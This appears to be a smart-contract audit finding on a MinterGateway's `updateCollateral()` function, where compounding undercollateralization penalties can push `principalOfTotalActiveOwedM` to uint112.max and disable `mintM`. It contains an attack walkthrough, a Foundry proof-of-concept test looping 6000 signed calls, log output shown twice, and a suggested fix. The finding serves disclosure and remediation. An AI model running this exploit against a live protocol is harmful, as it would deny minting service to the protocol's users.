Malicious minters can repeatedly penalize their undercollateralized accounts in a short peroid of time, which can result in disfunctioning of critical protocol functions, such as `mintM`.
Malicious minters can exploit the `updateCollateral()` function to repeatedly penalize their undercollateralized accounts in a short peroid of time. This can make the `principalOfTotalActiveOwedM` to reach `uint112.max` limit, disfunctioning some critical functions, such as `mintM`.\\nThe `updateCollateral()` function allows minters to update their collateral status to the protocol, with penalties imposed in two scenarios:\\nA penalty is imposed for each missing collateral update interval.\\nA penalty is imposed if a minter is undercollateralized.\\nThe critical issue arises with the penalty for being undercollateralized, which is imposed on each call to `updateCollateral()`. This penalty is compounded, calculated as `penaltyRate * (principalOfActiveOwedM_ - principalOfMaxAllowedActiveOwedM_)`, and the `principalOfActiveOwedM_` increases with each imposed penalty.\\nProof Of Concept\\nWe can do a simple calculation, using the numbers from unit tests, mintRatio=90%, penaltyRate=1%, updateCollateralInterval=2000 (seconds). A malicious minter deposits `$100,000` t-bills as collateral, and mints `$90,000` M tokens. Since M tokens have 6 decimals, the collateral would be `100000e6`. Following the steps below, the malicious minter would be able to increase `principalOfActiveOwedM_` close to uint112.max limit:\\nDeposit collateral and mint M tokens.\\nWait for 4 collateral update intervals. This is for accumulating some initial penalty to get undercollateralized.\\nCall `updateCollateral()`. The penalty for missing updates would be `4 * 90000e6 * 1% = 36e8`.\\nStarting from `36e8`, we can keep calling `updateCollateral()` to compound penalty for undercollateralization. Each time would increase the penalty by 1%. We only need `log(2^112 / `36e8`, 1.01) ~ 5590` times to hit `uint112.max` limit.\\nAdd the following testing code to `MinterGateway.t.sol`. We can see in logs that `principalOfTotalActiveOwedM` has hit uint112.max limit.\\n```\\n  penalty: 1 94536959275 94536000000\\n  penalty: 2 95482328867 95481360000\\n  penalty: 3 96437152156 96436173600\\n  penalty: 4 97401523678 97400535336\\n  penalty: 5 98375538914 98374540689\\n  penalty: 6 99359294302 99358286095\\n  penalty: 7 100352887244 100351868955\\n  penalty: 8 101356416116 101355387644\\n  penalty: 9 102369980277 102368941520\\n  penalty: 10 103393680080 103392630935\\n  // rest of code\\n  penalty: 5990 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5991 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5992 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5993 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5994 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5995 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5996 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5997 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5998 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5999 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 6000 5192349545726433803396851311815959 5192296858534827628530496329220095\\n```\\n\\n```\\n    // Using default test settings: mintRatio = 90%, penaltyRate = 1%, updateCollateralInterval = 2000.\\n    function test_penaltyForUndercollateralization() external {\\n        // 1. Minter1 deposits $100,000 t-bills, and mints 90,000 $M Tokens.\\n        uint initialTimestamp = block.timestamp;\\n        _minterGateway.setCollateralOf(_minter1, 100000e6);\\n        _minterGateway.setUpdateTimestampOf(_minter1, initialTimestamp);\\n        _minterGateway.setRawOwedMOf(_minter1, 90000e6);\\n        _minterGateway.setPrincipalOfTotalActiveOwedM(90000e6);\\n\\n        // 2. Minter does not update for 4 updateCollateralIntervals, causing penalty for missing updates.\\n        vm.warp(initialTimestamp + 4 * _updateCollateralInterval);\\n\\n        // 3. Minter fetches a lot of signatures from validator, each with different timestamp and calls `updateCollateral()` many times.\\n        //    Since the penalty for uncollateralization is counted every time, and would hit `uint112.max` at last.\\n        uint256[] memory retrievalIds = new uint256[](0);\\n        address[] memory validators = new address[](1);\\n        validators[0] = _validator1;\\n\\n        for (uint i = 1; i <= 6000; ++i) {\\n\\n            uint256[] memory timestamps = new uint256[](1);\\n            uint256 signatureTimestamp = initialTimestamp + i;\\n            timestamps[0] = signatureTimestamp;\\n            bytes[] memory signatures = new bytes[](1);\\n            signatures[0] = _getCollateralUpdateSignature(\\n                address(_minterGateway),\\n                _minter1,\\n                100000e6,\\n                retrievalIds,\\n                bytes32(0),\\n                signatureTimestamp,\\n                _validator1Pk\\n            );\\n\\n            vm.prank(_minter1);\\n            _minterGateway.updateCollateral(100000e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n            console.log("penalty:", i, _minterGateway.totalActiveOwedM(), _minterGateway.principalOfTotalActiveOwedM());\\n        }\\n    }\\n```\\n\\nNote that in real use case, the penalty rate may lower (e.g. 0.1%), however, `log(2^112 / 36e8, 1.001) ~ 55656` is still a reasonable amount since there are 1440 minutes in 1 day (not to mention if the frequency for signature may be higher than once per minute). A malicious minter can still gather enough signatures for the attack.
Consider only imposing penalty for undercollateralization for each update interval.
The direct impact is that `principalOfTotalActiveOwedM` will hit `uint112.max` limit. All related protocol features would be disfunctioned, the most important one being `mintM`, since the function would revert if `principalOfTotalActiveOwedM` hits `uint112.max` limit.\\n```\\n        unchecked {\\n            uint256 newPrincipalOfTotalActiveOwedM_ = uint256(principalOfTotalActiveOwedM_) + principalAmount_;\\n\\n            // As an edge case precaution, prevent a mint that, if all owed M (active and inactive) was converted to\\n            // a principal active amount, would overflow the `uint112 principalOfTotalActiveOwedM`.\\n>           if (\\n>               // NOTE: Round the principal up for worst case.\\n>               newPrincipalOfTotalActiveOwedM_ + _getPrincipalAmountRoundedUp(totalInactiveOwedM) >= type(uint112).max\\n>           ) {\\n>               revert OverflowsPrincipalOfTotalOwedM();\\n>           }\\n\\n            principalOfTotalActiveOwedM = uint112(newPrincipalOfTotalActiveOwedM_);\\n            _rawOwedM[msg.sender] += principalAmount_; // Treat rawOwedM as principal since minter is active.\\n        }\\n```\\n
```\\n  penalty: 1 94536959275 94536000000\\n  penalty: 2 95482328867 95481360000\\n  penalty: 3 96437152156 96436173600\\n  penalty: 4 97401523678 97400535336\\n  penalty: 5 98375538914 98374540689\\n  penalty: 6 99359294302 99358286095\\n  penalty: 7 100352887244 100351868955\\n  penalty: 8 101356416116 101355387644\\n  penalty: 9 102369980277 102368941520\\n  penalty: 10 103393680080 103392630935\\n  // rest of code\\n  penalty: 5990 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5991 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5992 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5993 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5994 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5995 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5996 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5997 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5998 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 5999 5192349545726433803396851311815959 5192296858534827628530496329220095\\n  penalty: 6000 5192349545726433803396851311815959 5192296858534827628530496329220095\\n```\\n